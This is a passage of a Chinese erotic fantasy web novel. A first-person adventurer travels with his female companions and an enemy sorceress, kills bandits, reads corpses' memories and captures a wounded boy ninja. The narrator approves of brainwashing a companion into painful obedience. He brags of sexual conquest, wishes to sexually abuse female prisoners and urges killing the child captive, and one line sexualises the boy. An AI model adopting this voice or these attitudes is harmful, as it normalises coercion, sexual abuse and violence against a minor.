图片载入中

【阿里布达年代祭】 第16-18集 作者:弄玉 (2/2)

特大字】 【大字】 【中字】 【小字

◆第六章:百劫重生.庄敬自强

不管我个人意愿如何,最后仍是不能不接受有队员脱队的事实,尽管我后来点查帐目,发现茅延安不只拖欠我的赌资,甚至还故意报错几次追迹者公会颁下的奖金,私扣差额,中饱私囊,贪污了好几大笔款项,这些事情一时之间也都莫可奈何,只能暂且记下了。

诚如茅延安所说,天宽地阔,有缘自会相见,在我把账簿阖上后不久,心里就已经有了决定,那就是下次碰头的时候,我要用这本账册狠狠敲他脑袋,绝对要这个乌龟王八蛋头破血流,忏悔今天贪污我们的钱不还。

(妈的,真是太大意了,居然让这个家伙管起帐来,早知道他要我一起出钱下注赌马的时候,就不该相信他的内线情报,他搞不好每次都赢,然后骗我说输,趁机又占我便宜。)

不过,恨归恨,不良中年脱队之后,确实有些事情很不方便,一些本来可以扔给他的事情,变成要我亲力亲为。在我们这个团队中,阿雪和羽霓可以相互取代,我和茅延安也可以彼此支援,但茅延安离开后,一些本来属于他的工作却没有别人能干,像是一些动脑不动力的任务,就只有由我一肩扛下。

原本我是打算,前往伊斯塔的这一路上,让茅延安来死死盯住娜西莎丝,不要让她有什么不轨举动,毕竟伊斯塔人居心叵测,我可不敢天真到相信娜西莎丝会顾全大局,在抵达伊斯塔之前不对我们动手。娜西莎丝虽然狡猾,但不良中年也奸诈似鬼,除非娜西莎丝存心破脸,不然绝对可以看得住娜西莎丝,让我过上一段清静时光。

结果,不良中年提早跑路,我为了不让娜西莎丝接触阿雪和霓虹,就只能拿自己当肉盾,去堵住娜西莎丝的视线。

如果不计这个伊斯塔魔女的危险性,和她对峙周旋是还满有意思的,因为娜西莎丝确实是个才貌出众的美人。

为了避免引人注目,娜西莎丝易容改扮,换下了伊斯塔女性的传统服装,头发在脑后扎成一束,穿着一件亮黑色的紧身皮衣、一条黑色的低腰紧身长裤,尽数显露出她火辣性感的身段!滑嫩的脖颈、宽肩、细腰,还有挺翘圆润的臀部和一双线条优美的长腿,果真不辱伊斯塔魔女之名,即使穿得简简单单,清清爽爽,但还是看得人眼中快要喷出火来了。

由我负责与娜西莎丝交涉,这点相信也符合她的需要,因为娜西莎丝最觊觎的目标就是我,旅程中甚至闲着没事,就跑过来问两句当身家调查。

“法雷尔家的玄武真功名动天下,源堂元帅更是凭此打遍世上无敌手,为什么提督你却不练呢?”

法雷尔家的血统、玄武真功的盛名,已经变成我所背负的两大原罪,外人似乎是只要见到我就喜欢问一句,实在让我极度烦闷,现在听见娜西莎丝又这么问,我才要还口,她就已经抢先说话。

“哦,我忘了,江湖谣传提督你自幼体质虚弱,不能修习武技,但是看你现在红光满面,神采奕奕,就算幼时有什么暗病,现在也应该已经治好,没有理由不修练家传神功啊?”

“哼哼。”

我干笑了两声,没给娜西莎丝好脸色看,心里却暗暗佩服她的眼力犀利。

当初我不能修练武功的特殊体质,是被当年前往第三新东京都市时的心理创伤所影响,如今我已经解开部分谜团,记忆解封,月樱也回到我身边,再没有什么心理创伤可言,如果要修练玄武真功,那当然是没有问题,可是……

“哦,我忘记了,提督你本人也身负天下无敌的技艺,有六大暗黑召唤兽随身,家传的神功自然不被你放在眼里。”

“哈哈哈哈。”

我再次干笑起来,因为这魔女确实把握住我的心思,至少把握住了一半。六大暗黑召唤兽、玄武真功,两者都修练到全盛状态,究竟谁强谁弱,没打过根本不知道,目前也没有资料可以判断,但有一件事却是非常明显。

就算我对自己的聪明才智有点小自负,却也心知我不是什么武学天才,又早过了习武的黄金时间,现在要去修练玄武真功,起码三五年后才有个小成,要练到足以在江湖上逞威风,肯定会练到四十岁以后,我放着已经有相当成就的地狱淫神不用,跑去从头开始练武,岂不是个超级大傻瓜?

不过,想是这么想没错,但我什么想法都被娜西莎丝摸个清清楚楚,这感觉可实在不太好啊。不好的感觉,倒不是因为她猜透了我的想法,而是打从出发以来,我心里的自豪感觉。

无论从哪方面来看,现在的我都说得上是成功。坐拥四件创世圣器在手,这成绩堪称是追迹者业界的神话,百年内没有人达成过;以团队实力而言,我的小队中有三名第六级高手,阿雪的实力甚至可能偷偷攀上了第七级,这样精锐的一支小队,足可纵横天下,但最令我骄傲的一点,就是这小队里的每个女成员都被我干过。

钱,我不缺;绝世武功与魔法,在我掌握之中;令世上所有男人垂涎的绝色美少女,我随时都可以抓过来干;权力什么的,我没有太大兴趣。

截至目前为止,我想要的东西似乎都已经入手,如果要说缺些什么,那就是一点走在阳光下,被人尊重,扬眉吐气的快感,而这快感却在此刻有被满足的迹象,因为距离萨拉城内和平会谈数年后,当初不可一世的娜西莎丝,现在居然对我态度大变,不再动辄威吓,视我如无物,而是小心翼翼地与我交涉,甚至降低姿态色诱于我,显示我在她眼中的分量大增,这种实力获得肯定的快感,正是我长期以来未能得到的东西,一时间竟让我乐得有些飘飘然。

这种感觉实在是非常不好,因为我现在不是去郊游,而是要去伊斯塔卖命,娜西莎丝也绝不是省油的灯,如果我持续让自己大意下去,这次的伊斯塔之行,我九成九会没命回来……

“提督?法雷尔提督?”

“啊?怎样?”

“你想得出了神,没有听见我说话呢。其实我是想建议你,今时不同往日,大家既然同乘一条船,就开抛弃成见,相互扶持,我们没必要继续当敌人的。”

“哦?这个好笑,不当敌人要当什么?当爱人吗?虽然我们是约定送你到伊斯塔后,你才欠债肉偿,不过你现在如果饥渴难耐,我也很乐意大家先来打几场友谊炮,你爽我爽,互蒙其利啊。”

“我的意思不是这样。说得明白一点,约翰法雷尔,你的暗黑召唤兽根本没有练成,甚至你也不知道正确练法,如果没有我的协助,你一辈子也练不出暗黑召唤兽来。”

娜西莎丝傲然说话,还挺起了她高耸的胸部,我心中为之一动,不只是为了她饱满的丰乳,也是因为她的话。

确实,截至目前为止,我还没有掌握暗黑召唤兽的秘密。淫术魔法书里半个字也没提过,黄晶石中的补遗我已经破解六成,仍找不到相关资料,相信剩下的四成资料中,也不会有纪录,法米特确实是将暗黑召唤兽彻底封印,不留下只字片语,不给后人丝毫机会。

我误打误撞用出过几次暗黑召唤兽,确实是威力无穷,但厉害归厉害,我却仍找不到暗黑召唤兽的修练法,如果再这样子下去,确实很有可能像娜西莎丝说的一样,我这辈子都没法破解暗黑召唤兽的秘密。

(最重要的是要先抓到方向,大方向只要对了,剩余的枝节就不是问题,偏偏就是大方向难抓,线索千头万绪,也不晓得答案究竟是什么。娜西莎丝说得这么肯定,难道她有方向?这很有可能啊……)

以伊斯塔的举国之力,数百年来持续不懈地进行调查,娜西莎丝所掌握的情报资源,肯定是远多于我,而这些情报对我确实有极大的诱惑力,所以我“哼”了一声,理也不理,掉头就走,绝不让娜西莎丝看出我的动摇,否则她坐地起价,我更没条件与她交易了。

不过,娜西莎丝还是从我的态度中看出了些讯息,我一转头,她就笑着说话,“暗黑召唤兽的源头之一是南蛮羑里,与当时的羽族渊源极深,这情报是我的诚意,提督你若是想清楚要合作,再来找我吧。”

娜西莎丝笑着离开,但她的“诚意”确实给我小小惊讶,南蛮的兽魔术天下无双,与地狱淫神的淫神兽有异曲同工之妙,要说暗黑召唤兽的源头之一是羑里,这并没有什么好奇怪,倒不如说若不是这样才不合理,但娜西莎丝刻意提到羽族,这里头就有玄机了。

(唔,难道……当初法米特得到羽族的什么帮助或技术,这才开发出暗黑召唤兽?这不是不可能的啊,嘿,如果我娘亲真的是凤凰天女,那羽族就是我亲戚,那时候的羽族就是我先人了啊!)

被这点发现弄得哑然失笑,我表面镇定,绝不让心里的想法浮上表面,严格遵守交涉原则,抛下娜西莎丝不理,�头望向天空,想看看羽霓有没有发什么讯号过来。

通常我们组队行进时,都会让羽霓飞行在高空,几乎肉眼难见之处,不与我们同在。这样的安排,一来是为了侦查方便,羽霓在高空俯视,方圆数十里之内,地面上有什么动静都逃不过她的眼睛;二来是把成员分散,真的遇到什么突袭变故,可以避免被人一网打尽,还可以反过来多出一支奇兵,杀敌人一个措手不及。

即使真是飞鸟,长时间飞行也很耗体力,更别说是飞在氧气稀薄的高空,唿吸维艰,普通的羽族女战士,就连要飞到那个高度都不容易,更别说在那里久待了,羽霓一开始的状况并没有好到哪去,拼了命飞上去,十几分钟后就承受不住,不是降落,而是近乎坠落似的摔下来。

不过,什么事情都是一回生,二回熟,只要把这不合理的要求,当作地狱式的锻炼,咬牙多干几次,也就熬过去了。头几周,羽霓每次都是弄得遍体鳞伤,连翅膀都骨折,像是与强敌战过一场,但她从没哼过一声,只要伤势一转好,立刻又开始高空锻炼,持续向地狱式修业挑战。那段时间,阿雪非常讶异她竟有这等决心,结果连带着让阿雪也受到激励,发愤修习。

其实,什么狗屁决心,说穿了还不就是一个命令一个动作,只要在洗脑的时候加入命令,那么不管有多痛,羽霓都会照命令执行,如果时间多一点,我甚至可以抹去她的痛觉,但少了那种极限痛楚,逼出潜力的效果就差很多,所以我都只是对人身安全作考量,确认这命令不会搞到死人或重度伤残,就让她飞上去修业,借此锻炼肉体强度,还有延长半兽化的使用时间。

这方法是不人道,但练武本就是逆天行事,不咬紧牙关花苦功去练,哪练得出什么东西来?要是轻轻松松躺在家里,随便运几下气就可以练成神功,这种人也不叫天才,叫做变态……好吧,这也就是我老爸得到变态之名的理由之一。

总之,这个方法非常有效,如果不是用这种地狱式的锻炼,以羽霓的资质,又没得到什么奇遇,想练上第六级力量起码要二十年后,哪可能这么快就得到突破,还练成碎梦刀?

现在,高空侦查对羽霓来说已不是难事,我往天上瞥了一眼,并没有看到什么特殊的光影暗号,知道前路平安,便策马来到羽虹的身边,看看她的状况。

“……左边的山头,有人在跟踪我们,身份还不清楚。”

羽虹用目光瞥向左侧的山丘,向众人示意。她仍是那么一身赤红色的武斗袍服,精神抖擞,看不出半丝疲态,跨骑在马背上,粉嫩的雪臂与大腿几乎整个裸露在外,艳丽得让人炫目,却又剽悍得令人不敢轻侮。

“这里还是金雀花联邦境内,不会碰上什么大问题,我们出发时行踪隐密,你姐姐又没传什么讯息下来,这些应该仅是小小毛贼,没事的。”

倒不是我太大意,这些都是非常合理的判断。伊斯塔是当世大国,高手如云,确实不可小看,但娜西莎丝是伊斯塔重臣,本身亦是位高权重,敌对派系要刺杀她绝不可能明着来,能够调派出来的刺客也就极为有限,再加上他们运气不好,之前一段时间碰上白起挡关,来犯者全数被他干掉,不留活口,我事后调资料约略一算,丧命在金雀花联邦境内的伊斯塔巫师,竟然超过两百人。

能够派出国来行刺,当然不会是小喽啰,这些巫师就算说不上一流高手,也堪称伊斯塔宫廷或军方的菁英份子,就这么被白起随手杀戮,肯定重创伊斯塔的元气,估计在我们进入伊斯塔国境之前,那边是不可能派出什么厉害的刺客团过来了。

所以说,出外靠朋友,有个会帮忙大扫除的朋友,实在是种幸福……

“那个白起究竟是什么人?真的是伊斯塔人吗?伊斯塔高手的相关纪录中,完全找不到他的资料。”

羽虹低声向我问话,而我仅是微微一笑,“找不到资料就是不存在吗?那可不见得啊,人家是伊斯塔特别栽培出来的秘密杀手嘛,都说了是秘密,会让我们查到吗?”

“可是……”

“不用什么可是了,他已经回老家去,不会再在我们面前出现,更不会帮到我们什么,现在我们该作的,就是提高警觉,自己靠自己。”

我一面说话,一面凝望着羽虹。白嫩嫩的脸蛋上,容光焕发,眼角也看不出泪痕,瞧上去应该是没什么事,很难想像仅仅数天之前,她的精神状态恶化,只要入夜,就像具腐尸般摊在床上,两眼无神,空洞地望着天花板,任别人怎么叫都不理,再不然就是怔怔地躺着流泪。

那时候,我们大家全都束手无策,不晓得怎么把羽虹从这藁木死灰的状态中拉回,结果最后还是她自己救了自己,从崩溃边缘重新站了起来,主动向我说要随行去伊斯塔,一路上也都显得很正常,与几天之前的样子判若两人。

“你……干什么这样看我?”

“没什么,只是看而已,不行吗?”

“我知道你在想什么东西,我已经没事了,你不用这样替我担心。过去这几天我想了很多,以前是我太傻,没有能够看出师父他的狼子野心,被他的假面具所蒙蔽,无意间成了他的工具,作了很多的错事,往后我会更加谨慎,更有智慧,这是我所学到的教训。”

羽虹凝望着道路的尽头,慢慢说道:“只是躲在角落悲伤,无济于事,什么东西都没法改变,我不能再让自己这样荒唐下去。师父的死,确实是他罪有应得,但他是我们姊妹的师父,养育我们长大成人,恩重如山,我要继续我的理念,和姐姐一起伸张正义,贯彻正道,为师父他赎罪。”

坦白说,贯彻正道不是坏事,只是有点蠢的事,但你喜欢贯彻就贯彻好了,反正每个人都有点自己的独特嗜好,可是,作一件事情不要找两个理由,喜欢作就去作,不要扯什么赎罪或是偿还恩情的,给自己多添不必要的包袱。

赎罪,是一件很沉重的东西,当人背上扛了这样的重物,脚下还能维持正确的方向吗?往往就在不知不觉中走偏了路,所以第一次的错误,不该用第二次的错来弥补,一天到晚想要赎罪,最后只会弄得自己的人生一团糟。

这些事情,羽虹你不会懂吧?或者你早就懂了,只是故意装作不知道,因为你已经在这条路上走得太远,不但以殉道为荣,甚至还能为乐,这样子恶化下去,我很怕你有一天光赎罪都能赎到高潮�起,如果真的到了那时候……会怎样我说不上来,所以,我只能继续沉默,然后像这样子静静地看着你。

“你一直看我作什么?我都说过我没事了。”

“喔,这个我知道啊,所以我没看你的脸,在看你的胸啊,嘿嘿,你好像还在发育啊,怎么我觉得你胸部比前阵子又大了点?”

这句话只是为了调笑,让气氛好一点,我还刻意用贪婪的眼神,瞄了瞄羽虹那白嫩嫩的一双雪乳。若是平常,以她的个性,有很大的可能是瞪我一眼,骂上一句,或是红着脸把目光转开,不作回应,但今天羽虹听我这么一说,居然主动挺起小巧的酥胸,迎向我的目光。

“大了也不奇怪啊,你不是一向都喜欢搓我胸部的吗?摸摸按按的次数多了,自然就大了啊。”

不只是说,羽虹策马一下子靠近过来,就贴在我旁边,陡然一手探出,竟是毫不客气地探向我的胯间,隔着裤子,抓握沈眠状态中的肉茎,轻轻套弄起来。

“呃……这个……正义小姐,你不觉得光天化日之下,你的行为有点……”

“羽虹是你的小淫女嘛,既然是小淫女,这么作有什么奇怪的吗?以前你干我的时候,有在意过时间和场合吗?”

“那……那倒是没有,唔……你可以再快一点……”

“已经等不及啦?要不要今天晚上,我和姐姐一起陪你?或者……再拉上阿雪姐姐,我知道你想拉她一起想很久了……看看她屁股扭来扭去的样子,你一定很想吧?”

顺着羽虹的言语暗示,我不自禁地望向前方,凝视起阿雪的背影。

侧坐在紫罗兰的背上,这个背影随着紫罗兰的步伐而摇晃,我对阿雪的胴体太过熟悉,虽然她现在穿戴整齐,但我光看她的身影,脑中就自动透视剖析,仿佛直接看到她的身材曲线。

那肩、那腰、那臀、那腿,都是那样的性感美艳。尤其是那臀部线条,绝对是我所见过最完美的男人恩物,浑圆、挺翘,从纤细的腰肢下,诱人地展开圆滑的线条,然后在下部又急剧收紧,毫无拖沓之处,两团圆肉随着风姿绰约的不法有节奏地耸动,看得出是一对结实而富有弹性的美臀,在雪白狐尾的摇曳扫荡中,惹人浮想联翩,猛吞一口馋沫……

我心中大动,无意中偏头一看,恰好对上羽虹的目光,不由得一惊,只觉得那双眼瞳中满溢着妩媚,艳得可以滴出水来,再配上嘴角的那抹笑靥,真是可以让男人整个骨头为之酥麻,争着拜倒下去。

但这样的艳丽风情,若是出自月樱、娜西莎丝,那倒是没有什么,可是从羽虹的身上流露出来,这就非常不对劲,因为年龄不对,个性也不对,特别是从她眼中的那抹艳光中,我隐约看到一丝邪气,刹那之间的震骇,让我背后出了身冷汗。

“咦?你怎么了?难道……已经出来了?”

不是出来了,是被你吓软了,但现在并不是解释的时候。

“你怎么突然变得这么大胆?”

“因为……”羽虹的声音突然小得多,在我耳边悄声道:“姐姐说,我们这次和那个妖女同行,要对她提防一点,伊斯塔妖女迷惑男人的手段很多,如果一个不小心,你被她给迷惑住,那就糟糕了,所以我们……”

怕我给别人抢走,这就是独占欲,能让女性对我产生独占欲,这真是令我受宠若惊,可是,羽虹啊,你对我产生占有欲望,这不但不聪明,而且肯定会让你伤到的啊…

咦?是羽霓先对她提议的,这怎么可能?我给羽霓设定的反应与思考模式中,应该没有这方面的处理啊!她怎么会……

“羽虹,刚刚你说你姐姐……”

我开口问话,半空中却陡然传来一声尖锐声响,只见一道人影破空掠过,飙射向左侧的山丘,跟着就是连串的惨唿声响起,几道血柱喷洒上来,冲得老高,看来都是瞬间被人把头砍掉,鲜血激喷而出。

“唉,羽霓太急躁了,这种情形本来可以不用出手,那些不过是小小毛贼,现在这样子动手,不但容易打草惊蛇,而且可能暴露行踪,招惹来不必要的麻烦啊。”

我皱眉说话,但羽虹已经张开背后双翼,直接从马背上破空飞起,射向左侧的山丘,去支援她姐姐。事已至此,说什么也没用,我和阿雪、娜西莎丝策动座骑,一起奔上那座山丘,探看究竟。

当我们上山的时候,那里已经是满目疮痍,死尸遍地,而且没有一具死尸是完整的,羽霓下手相当重,一刀斩过、一爪挥过,就将人体一分为二,边角上有几具死尸变成黑炭,那都是羽虹手下的杰作。

整个情况就如我所料,仅仅不过是一团小毛贼,虽然这里是金雀花联邦境内,但走在那种大半天看不见人的旷野,还是有可能碰到山贼盗匪,而这群毛贼实力低微,甚至还在评估要否对我们动手,羽霓便从天而降,掀起一阵腥风血雨。

“羽霓,你太大惊小怪了,你这样一动手,很可能会暴露我们的行踪啊。”

“对不起,但我是在天上看到异状,以为是黑龙会忍军,所以才……”

羽霓向我表示歉意,但我却觉得事有蹊跷,羽霓的眼力我绝对信得过,如果她说是黑龙会忍军埋伏,那就一定是有某些理由。

这时,娜西莎丝和羽虹把周围的尸体看过一遍,发现了这些山贼的身上,确实持有一些特殊暗器,正是黑龙会忍军的标准配备。

“难道是黑龙会忍军改扮山贼,偷袭我们?”

“嗯,阿雪这想法不错,但羽霓你刚刚动手的时候,这些人像是黑龙忍军吗?”

“不,他们只是单纯的山贼。”

“唔,以黑龙会的状况,相信也还不至于落魄到要开始贩卖军武,就算真的卖,也不会是摆地摊卖给山贼,所以……我想是有问题了。”

◆第七章:俊俏小子.烫手山芋

有问题,就要设法找出答案,而问口供永远是最直接有效的方法,虽然我对凌虐男人的肉体没有兴趣,不过开始追迹者工作后,由于练习的机会很多,我也对拷问之术颇有心得。

可惜再怎么有心得,有一种人仍是让我束手无策,无论是怎样残酷的毒刑,都没法从他们口中拷问出答案。比世上最硬骨头的硬汉更硬,这种人能令天下的刑讯专家俯首认输。

死人。

普通的拷问方法再怎么厉害,也没法让死人活过来回答,羽霓的攻击实在太快也太辣,这群山贼无一幸免,没留下一个活口,害得我想找个人问话都找不到,不过,真的没法向死人问话吗?当然不可能是这样,要是人死了就能保守秘密,这里也就不是魔法世界了。

在黑魔法中有几门厉害邪术,能够透过死者的残躯,读出生前的片段记忆。

拎只断手,可以知道他摸过哪些东西;拎只断脚,可以知道他去过什么地方;当然如果直接插入脑袋,所获得的资料最齐全,几乎什么都知道了。

在我们小队里头,阿雪是黑暗属性,是施展这种技巧的唯一人选,不过,读死人的残留记忆,施法时怨气逆流的感染,非常恶心,她每次做完都脸色苍白,要吐不吐地干呕上半天,相当难受,让我得花老大力气连哄带劝,心里也是疼到不行。

这样的情形,今天终于有了改变,小队里多一个黑魔法师,果然是好用得很,娜西莎丝这个黑魔法师不但够高段,而且还非常称职,她将五指插入死尸脑门时,脸色丝毫不变,像唿吸吃饭一样轻松,没多久就将手拔出,也不擦拭上头的污血和脑浆,随手又插入了另一具死尸的脑门,就算是久待殓房的仵作,也未必有她这般动作熟练。

“提督,有线索了,你要听吗?”

“我当然要听,不过你可不可以擦个手再来和我说话?看你这动作,我的头皮开始麻了。”

“瞧你这么胆小,何必担心这种事呢?如果有一天我要插你的脑袋,保证你不会有时间感觉头皮发麻。”

“哈,会插人脑门了不起啊?如果有一天我要插你的骚穴,保证你不会有时间感觉被插入,就高潮到翻白眼了。”

平心而论,这种争辩实在是满低级的,不过娜西莎丝被我说得哑口无言,似乎对我这种三流的无赖言语束手无策,这种胜利虽然不值得夸耀,但实在是让人满爽的。

而娜西莎丝所提供的线索,让人有些意外,又有些恻然。这些强盗山贼,都是些不入流的小角色,躲藏在偏离主要干道的荒郊野外,过着两天打劫、一天挨饿的半调子盗匪生涯,几天前在他们的势力范围内,出现了一群装扮怪异的旅人,仓皇如同丧家之犬,每个人的身上都带伤,而且彼此间气氛极差,时有争吵,最后甚至彼此拔刀相向,内斗起来。

这群怪异的旅人,虽然都是作平民打扮,可是打斗时候用的技巧甚怪,还投掷奇怪的暗器。如果不是因为最近几个月,黑龙会在金雀花联邦境内掀风作浪,水漫纽奥良,这些三流毛贼还没有足够的见识能认出人来,但数月来黑龙会之名广传天下,就连这些小小毛贼都认出来,这群人就是赫赫有名的黑龙忍军。

树倒猢狲散,墙倒众人推,世上再没有什么东西,比穷途末路的散伙组织更加悲惨,黑龙王死后,黑龙会分崩离析,海将军们分裂成数个派系,相互斗争,而仍在黄土大地上活动的黑龙会成员,与东海方面的联系完全被切断,成为孤军,处于高度混乱的状态。

无处可去,这些被遗留在金雀花联邦境内的忍军,试图长途跋涉,回归东海,但孤军奋斗的日子并不好过,说得明白一点,这些人根本就是被组织舍弃了,不但要想办法自寻生路,还要担心身份败露后,被大地上的正道人士群起围攻,毕竟在黑龙会崩溃的此刻,他们就像是过街老鼠一样,人人喊打,除此之外,他们内部的斗争也很激烈,这就直接导致旅程中爆发冲突,引发一场血战。

要对付天下驰名的黑龙忍军,这些小小毛贼自然是不敢动手,不过如果黑龙忍军内斗激烈,已经自己把自己给砍了个七零八落,要对付几个奄奄一息的黑龙忍军,这些山贼倒是敢的,所以,他们就从山上冲下,捡了个大便宜入手,轻而易举地把重伤者砍死,并且抢了一堆高价装备,扩充本身实力,但可惜他们有福没命享,第一批开市的客人就碰到我们。

倘若这些毛贼的手上没有那些兵器,或许还可以活久一点,但是,正是因为他们夺自黑龙忍军的这些装备,吸引了羽霓的注意,误判情势,结果招致了一场要命的灾厄。

“情形在意料之中,不是太意外。”我道:“黑龙会组织崩溃的速度,比我早先预期得更快,这点对我们而言,倒是个很棒的消息。”

娜西莎丝点头道:“既是如此,我们不要耽搁行程,现在继续上路吧。”

这个提议没有人反对,羽霓、羽虹掉转头去,刚要动身,我伸手拦住。

“等一下。”

“哦,法雷尔提督有什么事吗?”

“大事不敢当,小事有一点,等会儿如果要赶路,就是一赶不回头,无论有什么理由,都不准有人半途脱队,这点大家不反对吧?”

霓虹和阿雪都露出错愕表情,不解我为何说这种无关紧要的话,但娜西莎丝却露出笑靥,轻声道:“法雷尔提督真是细心,滴水不漏啊。”

“不敢当,只不过是被坏女人骗得多了,心眼儿也就多了,要不然,等一下有人偷偷脱队掉头,回来这里偷拿什么东西,我就真的被人当傻瓜看了。”

从死人脑袋套出来的情报,只有娜西莎丝一个人知道,就算她没有胡说八道,但如果她隐瞒了什么没说,那也是情理中事,而我若蠢得连这点也想不到,那么不用等进入伊斯塔,现在就可以去死了。

被我喊破了这一点,羽霓、羽虹立刻表现出强烈的敌意,分站左右,像是一把剪刀似的逼住娜西莎丝,施以压力。而娜西莎丝在一阵轻笑后,也就只有妥协,说出了她刻意隐藏的秘密。

这群毛贼虽然是愚蠢,但还有一点起码的智力,黑龙忍军的装备有部分需要配合术法使用,这些毛贼不学无术,哪有办法破解里头的保护咒语,如果要使用忍军装备,就必须要从忍军口中问出用法,所以在当日一战,除了当场毙命的忍者,还剩下几名重伤的俘虏,目前被监禁于地牢。

本来这种讯息没什么大不了,但是看娜西莎丝刻意隐匿讯息,这件事可大可小,我还是慎重一些,去看看抓到的俘虏有什么特别,而且,话说回来,阅读死人脑袋的邪术,可以拿来对付毛贼,当然也可以对付黑龙忍军,从这些忍者脑中取得的情报,怎样都比毛贼贵重得多。

主意一拿定,自然有人去替我执行,羽霓、羽虹展翅飞起,赶往这群盗匪的巢穴,当我和阿雪、娜西莎丝随后赶到,她们已经打破了牢门,发现了被监禁的俘虏……尸体。

“糟糕,我们晚来一步了。”阿雪见到那些开始发臭的尸体,难过地连连摇头。

“唉,真是该死,居然连一个漂亮妞都没有。”同样是看到尸体,我没有阿雪的感伤,只是遗憾这些忍军之中没有女人,累得我连淫虐俘虏的机会都没有。

黑龙忍军的首脑,鬼魅夕,是个童颜巨乳的火辣骚妞,尽管没有人看过她的真面目,但那具魔鬼身材、夸张的曲线,只要是正常的男人,见到她没有不流口水的;黑龙忍军常常要进行渗透、媚惑敌人的工作,有一些精擅媚术的女忍者,也是情理中事,我很希望能藉这机会干到女忍者,一圆我垂涎多时的性幻想,哪想到天不从色鬼之愿,这里看到的尸体全都是男人,一个雌性也没有。

“妈的,这些忍军死有余辜,身上搞不好还有莫名其妙的毒素,大家离远一点,放把火烧掉省事,喔,娜西莎丝小姐,麻烦你先读取一下情报,读完之后我们再放火烧。”

“………你刚刚不是说他们身上可能有毒吗?”

“是啊,只是可能而已,不碍事的,真要计较的话,他们不过是可能,你却是百分百,他们的威胁性哪有你大?”

我敢打赌,光是看娜西莎丝的脸色,就知道她一定很想杀我,因为那真是恨不得咬下我一口肉的痛恨眼神,不过,这却没什么关系,原本就是死敌的人,我也懒得一直戴假面具应付。

“咦?师父,这里有个人……还有气息。”

“哦,是美女吗?”

“不,是个小男生。”

“那就不要浪费时间,补上一脚,取他的狗命吧。”

如果俘虏是女人,就算没有任何利用价值,我也会找出来;但俘虏是男人,就算有任何潜在的利用价值,我都会刻意忽略,特别是碰到小男生,为了安全起见,我觉得最好一刀杀掉省事,免得那个小男生长得白白净净、秀气俊美,让我身边的几个女孩子被迷得神魂颠倒。

可惜,我所坚持的做法碰到阻力,阿雪和羽虹相当反对我的主意,前者是为了不杀生,后者则是为了打击黑龙会,不愿意放弃任何一丝可能。

结果在多数人表决下,我们把那个奄奄一息的俘虏,从垂死边缘救了起来。

那确实是个很秀气的小男生,虽然蓬头垢面,瞧不太出实际年纪,只能约莫推测是十二三岁,眉清目秀,白白嫩嫩,秀美得让人垂涎………干,我为什么在流口水?

“妈的,看了就讨厌,阿雪……不,还是叫个没人性的,紫罗兰,给我一口咬死他。”

紫罗兰对杀人没兴趣,但对于一切的肉类都有兴趣,假使阿雪没有挡在前头碍事,这个小男生就被豹子一口咬死了。

非常遗憾的一点,就是我们这小队里头,并没有擅长神圣魔法的人,也无从施展回复咒文,仅能用一些药草来施救,普通情形下,这些处置手段是用来急救,并非实质医疗,但是闻名天下的黑龙忍军,果真是不可小觑,哪怕只是一个小男生,一样是在千百次生死炼狱中存活过来的精英,肉体无比强健,被我们稍稍救治,竟然清醒过来。

之后所发生的,真是一场大灾难,那个小男生苏醒过来,看到我们这一票人,立刻判定是敌人。这个判断倒是很正确,其实也不用判断,因为对这些忍者来说,除了自己与主公黑龙王,其他的所有人都是敌人,不然就是早晚会敌对的假想敌,所以他马上采取防卫态势,甚至反攻。

精擅各种刺杀手段的忍者,纵使手无寸铁,但身体的每个部分都是武器,仓促发动袭击,杀伤力奇大,只可惜他的运气不好,正处于重伤状态,碰到的人又都是江湖上顶尖好手,扭曲关节所发的两记刺击,分别被霓虹给轻易挡下。

在那个男孩的眼中,我看见了惊惶与恐惧,但他出击的动作完美无瑕,流畅得找不出一丝破绽,充分显示黑龙会训练忍者时的严苛,在那样的千锤百炼下,即使精神不稳,身体仍是照平时所受的锻炼,近乎本能地反应出击。这真是完美的杀手,就算面前是父母至亲,在本能反应下,一刀就能割断亲人的咽喉。

整个骚乱时间,前后大概是一刻钟左右,那个男孩在突袭之余,制造了空隙想逃跑,霓虹及时拦阻,但他反应非常敏捷,总在退路完全被封死之前,闪电窜向另一个死角,假如不是他双腿受创极重,阿雪的迟缓咒未必打他得中,那他被擒就是更以后的事了。

在追击的过程中,羽虹也被惹上了火气,一把人擒住,不由分说,就想一下子把人给毙了,这件事正合我心意,当然没有阻拦的理由,暗自希望看到这小子人头落地,那张帅脸血肉糢煳,哪知道却发生了一个插曲。

“啊!师父……他……这个人……”

“吵什么鬼?他是长了一根大屌?还是长了两根屌?”

一句话把阿雪的慌乱斥责回去,但看见那幕景象的我也心中有数,知道除非有特殊变化,否则今天是很难宰掉这个小男孩了。原因很简单,在小男孩因为痛楚而张开的嘴巴里,只有半截断舌慌乱地伸动着,他的舌头赫然被割去了一半!

我不晓得他的舌头为什么被割去,也许是为了保密,也许是其他目的,但怎样也好,黑龙会本就是残忍的黑暗组织,作出各种阴毒行为都不需要理由,而同情心氾滥的阿雪碰到这些受害者,整颗心都被打动,震惊之余,泪眼朦胧,我要在她面前杀掉这小鬼,基本上是不可能了。

杀不了他,又不能随便放他,这时候小队里缺一名医疗专才的缺点就再暴露出来,我们没法用回复咒文瞬间治好他,逼问他所知道的一切,就只好把他捆绑拘锁,当作俘虏给押走。

我觉得,这男孩年纪轻轻,不会是忍军的重要干部,纵然知道些什么,也非常有限,根本没有必要逼问他,直接杀掉就省事,但羽虹却主张任何一件细微情报都可能影响大局,不能放过,务必要带着这个俘虏上路。

话说得很对,道理我也认同,可惜我一点都不相信,因为羽虹其实也是一个容易心软的少女,尽管她除恶扬善的意念无比坚定,但在她的价值观里,弱者与恶者是截然分开,当她把这个男孩判断为“受害者”后,心头的同情就油然而生,再不是看到一个黑龙忍军时的反应了。

投票表决,多数为胜,这实在是一件无比麻烦的事,我明明知道带一个不速之客上路,会给自己带来无穷累赘,却仍是无法拒绝,只得答应。另一方面而言,我因为自己私心答应娜西莎丝,这件事也被羽虹抓住把柄,让我很难在她面前板起面孔,疾言厉色下去。

“不要再耽搁下去了,我们还要赶路,立刻出发吧。”

我催促着众人上路,隐约感到背后有一道令人发寒的视线,不住透视而来。

娜西莎丝在整个过程中虽是不发一语,但我却觉得她刻意低调,想从这件事上头获取什么利益,若是我们掉以轻心,就会落入她的算计。

临走之前,我们把附近山域又搜过一遍,确认已经没有任何东西遗下,这才继续赶路。基于对黑龙忍军的重视,我不敢大意,秘密嘱咐过羽霓,若是她觉得这个小男孩有任何不对劲的地方,无须请示,立刻就动手把他宰掉。

